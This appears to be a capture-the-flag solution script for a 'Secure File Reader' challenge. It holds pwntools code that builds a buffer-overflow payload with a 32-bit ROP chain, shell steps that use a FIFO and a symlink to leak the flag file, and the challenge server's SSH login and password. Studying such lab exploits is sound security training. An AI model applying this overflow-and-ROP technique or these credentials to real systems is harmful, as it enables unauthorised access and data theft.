```python# ____  _____ ____ _   _ ____  _____   _____ ___ _     _____ #/ ___|| ____/ ___| | | |  _ \| ____| |  ___|_ _| |   | ____|#\___ \|  _|| |   | | | | |_) |  _|   | |_   | || |   |  _|  # ___) | |__| |___| |_| |  _ <| |___  |  _|  | || |___| |___ #|____/|_____\____|\___/|_| \_\_____| |_|   |___|_____|_____|#                                                            # ____  _____    _    ____  _____ ____  #|  _ \| ____|  / \  |  _ \| ____|  _ \ #| |_) |  _|   / _ \ | | | |  _| | |_) |#|  _ <| |___ / ___ \| |_| | |___|  _ < #|_| \_\_____/_/   \_\____/|_____|_| \_\#                                       
#            _       _   _               _           #  ___  ___ | |_   _| |_(_) ___  _ __   | |__  _   _ # / __|/ _ \| | | | | __| |/ _ \| '_ \  | '_ \| | | |# \__ \ (_) | | |_| | |_| | (_) | | | | | |_) | |_| |# |___/\___/|_|\__,_|\__|_|\___/|_| |_| |_.__/ \__, |#                                              |___/ #   __  ___       _         ___  _   #  / _|/ _ \__  _| |_ _ __ / _ \| |_ # | |_| | | \ \/ / __| '__| | | | __|# |  _| |_| |>  <| |_| |  | |_| | |_ # |_|  \___//_/\_\\__|_|   \___/ \__|#                                    
# ssh [email protected] -p 55552 # password is chall
from pwn import *rop_chain = [0x8048e74, 0x80483ad, 0x80c296a, 0x080eff60, 0x804fac0, 0x80481d1, 0x080eff60, 0x804e820, 0x80481d1, 0xdeadbeef, 0xdeadbeef]with open('attack','wb') as f:    f.write('X'*4124)    f.write(''.join(p32(a) for a in rop_chain))
# Run the attack using the following:# cd $(mktemp -d)# # somehow get the attack file (generated by running above code) into that directory; i used scp from my system# ln -s /home/chall/flag arena.c# mkfifo attackfifo# cat attack > attackfifo | ~/pwn attackfifo
# Explanation:## The fifo has 0 size, so will not cause problems, allowing buffer to overflow after 4124 bytes.# Then we just make a rop chain# The "arena.c" string is in the binary, so we use it# safespot-content-location is just some large location in .bss found using `objdump -x pwn | grep bss`
# Rop chain:# # 0x8048e74 <save_in_buffer># 0x80483ad <pop-pop-ret># 0x80c296a <"arena.c"> # symlink arena.c to flag# 0x080eff60 <safespot-content-location># # 0x804fac0 <puts># 0x80481d1 <pop-ret># 0x080eff60 <safespot-content-location># # 0x804e820 <exit># 0x80481d1 <pop-ret># 0xdeadbeef <exit-code># # 0xdeadbeef <just-for-fun> # actually, this is important (though not essential), but i am not telling you why :P it revolves around the clobbering mechanism in this executable```